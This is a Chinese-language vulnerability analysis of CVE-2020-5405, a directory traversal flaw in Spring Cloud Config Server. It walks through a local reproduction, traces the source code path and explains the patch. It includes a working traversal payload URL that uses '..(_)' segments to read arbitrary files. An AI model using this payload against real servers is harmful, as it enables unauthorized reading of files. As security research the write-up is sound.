CVE-2020-5405分析
简介
Spring Cloud Config微服务架构的配置中心,为各个不同服务提供了一个中心化的外部配置。不适用本地配置是因为集群间不方便管理,需要一个平台,通常是从github等平台拉取配置。之前在字节工作,他们用的TCC平台,也是一个类似Spring Cloud Config的配置中心
Spring Cloud Config分为服务端和客户端两部分:
- 服务端,也称为分布式配置中心,它是一个独立的微服务应用,用来连接配置服务器并为客户端提供获取配置信息,加密/解密信息等访问接口
- 客户端,则是通过指定的配置中心来管理应用资源,以及与业务相关的配置内容,并在启动的时候从配置中心获取和加载配置信息,配置服务器默认采用git来存储配置信息,这样就有助于对环境配置进行版本管理,并且可以通过git客户端工具来方便的管理和访问配置内容
这个漏洞不是RCE,是目录遍历,不算高危
漏洞复现
从github下载spring-cloud-config模块:https://github.com/spring-cloud/spring-cloud-config/archive/v2.1.5.RELEASE.zip
导入IDEA其中的spring-cloud-config-server
模块,Maven+SpringBoot项目
修改配置文件src/main/resources/configserver.yml
,主要是设置profiles.active
为native
,设置search-locations
为任意文件夹
info:
component: Config Server
spring:
application:
name: configserver
autoconfigure.exclude: org.springframework.boot.autoconfigure.jdbc.DataSourceAutoConfiguration
jmx:
default_domain: cloud.config.server
profiles:
active: native
cloud:
config:
server:
native:
search-locations:
- file:///D:/Code
server:
port: 8888
management:
context_path: /admin
从ConfigServerApplication
类启动,访问localhost:8888
手动在D:/Code下创建一个key.txt,尝试读取这个文件
Payload:
http://127.0.0.1:8888/1/1/..(_)..(_)..(_)..(_)..(_)..(_)..(_)..(_)..(_)Code/key.txt
http://127.0.0.1:8888/1/1/..%28_%29..%28_%29..%28_%29..%28_%29..%28_%29..%28_%29..%28_%29..%28_%29Code/key.txt
(编码后)
漏洞分析
Config Server通过路径/{name}/{profile}/{label}/{path}
对外提供配置文件,POC会通过路由到这个接口,参考org\springframework\cloud\config\server\resource\ResourceController.java
@RequestMapping("/{name}/{profile}/{label}/**")
public String retrieve(@PathVariable String name, @PathVariable String profile,
@PathVariable String label, ServletWebRequest request,
@RequestParam(defaultValue = "true") boolean resolvePlaceholders)
throws IOException {
String path = getFilePath(request, name, profile, label);
return retrieve(request, name, profile, label, path, resolvePlaceholders);
}
- name:仓库名称
- profile:配置文件环境(dev,test,pro)
- label:分支(1.0.0)
- **:通配子目录
下断点查看这一步的name和profile等变量分别是什么
Payload:
/1/1/..(_)..(_)..(_)..(_)..(_)..(_)..(_)..(_)..(_)Code/key.txt
- name:1
- profile:1
- label:..()..()..()..()..()..()..()..()..(_)Code
- **:key.txt
不难看出getFilePath方法作用是解析**为key.txt
private String getFilePath(ServletWebRequest request, String name, String profile,
String label) {
String stem;
if (label != null) {
stem = String.format("/%s/%s/%s/", name, profile, label);
}
else {
stem = String.format("/%s/%s/", name, profile);
}
String path = this.helper.getPathWithinApplication(request.getRequest());
path = path.substring(path.indexOf(stem) + stem.length());
return path;
}
最后调用retrieve方法
synchronized String retrieve(ServletWebRequest request, String name, String profile,
String label, String path, boolean resolvePlaceholders) throws IOException {
name = resolveName(name);
label = resolveLabel(label);
Resource resource = this.resourceRepository.findOne(name, profile, label, path);
......
其中的resolveName和resolveLabel方法作用一致,都是将(_)
换成/
private String resolveName(String name) {
if (name != null && name.contains("(_)")) {
// "(_)" is uncommon in a git repo name, but "/" cannot be matched
// by Spring MVC
name = name.replace("(_)", "/");
}
return name;
}
所以到达findOne方法这里:
- label:../../../../../../../../../Code
- path:key.txt
public synchronized Resource findOne(String application, String profile, String label,
String path) {
if (StringUtils.hasText(path)) {
String[] locations = this.service.getLocations(application, profile, label)
.getLocations();
try {
for (int i = locations.length; i-- > 0;) {
String location = locations[i];
for (String local : getProfilePaths(profile, path)) {
if (!isInvalidPath(local) && !isInvalidEncodedPath(local)) {
Resource file = this.resourceLoader.getResource(location)
.createRelative(local);
if (file.exists() && file.isReadable()) {
return file;
}
}
}
}
}
......
this.service.getLocations
方法应该是调用配置文件并重新拼接,最终得到两个路径,其中第1(2)个是我们的payload
后面的getProfilePaths
方法是根据profile
构造文件路径。这个主要是参照日常习惯,比如开发配置文件会命名为confg-dev.yaml
这样
其实程序做了非法路径的判断:isInvalidPath
,不过它校验的path,而我们的path是key.txt
,不是违法的路径
protected boolean isInvalidPath(String path) {
if (path.contains("WEB-INF") || path.contains("META-INF")) {
if (logger.isWarnEnabled()) {
logger.warn("Path with \"WEB-INF\" or \"META-INF\": [" + path + "]");
}
return true;
}
if (path.contains(":/")) {
String relativePath = (path.charAt(0) == '/' ? path.substring(1) : path);
if (ResourceUtils.isUrl(relativePath) || relativePath.startsWith("url:")) {
if (logger.isWarnEnabled()) {
logger.warn(
"Path represents URL or has \"url:\" prefix: [" + path + "]");
}
return true;
}
}
if (path.contains("..") && StringUtils.cleanPath(path).contains("../")) {
if (logger.isWarnEnabled()) {
logger.warn("Path contains \"../\" after call to StringUtils#cleanPath: ["
+ path + "]");
}
return true;
}
return false;
}
另一个编码校验自然也无效
private boolean isInvalidEncodedPath(String path) {
if (path.contains("%")) {
try {
// Use URLDecoder (vs UriUtils) to preserve potentially decoded UTF-8
// chars
String decodedPath = URLDecoder.decode(path, "UTF-8");
if (isInvalidPath(decodedPath)) {
return true;
}
decodedPath = processPath(decodedPath);
if (isInvalidPath(decodedPath)) {
return true;
}
}
catch (IllegalArgumentException | UnsupportedEncodingException ex) {
// Should never happen...
}
}
return false;
}
最后通过this.resourceLoader.getResource(location).createRelative(local);
加载了本地文件,这个没必要跟踪,已经确认了过程
漏洞修复
补丁:https://github.com/spring-cloud/spring-cloud-config/commit/651f458919c40ef9a5e93e7d76bf98575910fad0
补丁对location进行了验证,而不只是简单地对path做验证
实际中也确实应该对最后一步的输入进行判断,而不只是对过程进行判断
private boolean isInvalidLocation(String location) {
boolean isInvalid = location.contains("..");
if (isInvalid && logger.isWarnEnabled()) {
logger.warn("Location contains \"..\"");
}
return isInvalid;
}